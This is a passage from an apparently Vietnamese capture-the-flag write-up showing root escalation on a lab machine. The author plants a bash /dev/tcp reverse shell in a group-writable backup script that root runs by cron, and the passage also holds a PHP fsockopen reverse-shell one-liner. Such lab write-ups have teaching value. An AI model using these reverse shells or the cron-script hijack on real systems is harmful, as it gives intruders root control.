php - r '$sock=fsockopen("192.168.88.128",4444);exec ("/bin/sh -i <&3 >&3 2>&3");'
exit
Đi đến thư mục này
gyles @ TEAM : / home / gyles $ ls / opt / admin_stuff /
script . sh
gyles @ TEAM : / home / gyles $ cat / opt / admin_stuff / script . sh
#!/bin/bash
#I have set a cronjob to run this script every minute
dev_site = "/usr/local/sbin/dev_backup.sh"
main_site = "/usr/local/bin/main_backup.sh"
#Back ups the sites locally
$ main_site
$ dev_site
gyles @ TEAM : / home / gyles $
Kiểm tra qua 2 file dev_backup.sh và main_backup.sh , tôi để ý thấy file main_backup.sh có thể chỉnh sửa được với user gyles vì cùng nằm trong group admin
gyles @ TEAM : / home / gyles $ ls - la / usr / local / sbin / dev_backup . sh
- rwxr - xr - x 1 root root 64 Jan 17 2021 / usr / local / sbin / dev_backup . sh
gyles @ TEAM : / home / gyles $ ls - la / usr / local / bin / main_backup . sh
- rwxrwxr - x 1 root admin 65 Jan 17 2021 / usr / local / bin / main_backup . sh
gyles @ TEAM : / home / gyles $
Tạo listener với port 2402: nc -lnvp 2402
Thêm payload vào file main_backup.sh
gyles @ TEAM : / home / gyles $ cat / usr / local / bin / main_backup . sh
#!/bin/bash
/ bin / bash - i >& / dev / tcp / 10.18 . 3.74 / 2402 0 >& 1
┌── ( neo ㉿ kali ) - [ ~ ]
└─$ nc - lnvp 2402
listening on [ any ] 2402 ...
connect to [ 10.18 . 3.74 ] from ( UNKNOWN ) [ 10.10 . 27.48 ] 48290
bash : cannot set terminal process group ( 1968 ): Inappropriate ioctl for device
bash : no job control in this shell
root @ TEAM : ~ # id
id
uid = 0 ( root ) gid = 0 ( root ) groups = 0 ( root ), 1004 ( admin )
root @ TEAM : ~ # ls /root
ls / root
root . txt
root @ TEAM : ~ #
Pagination
© 2025. All rights reserved.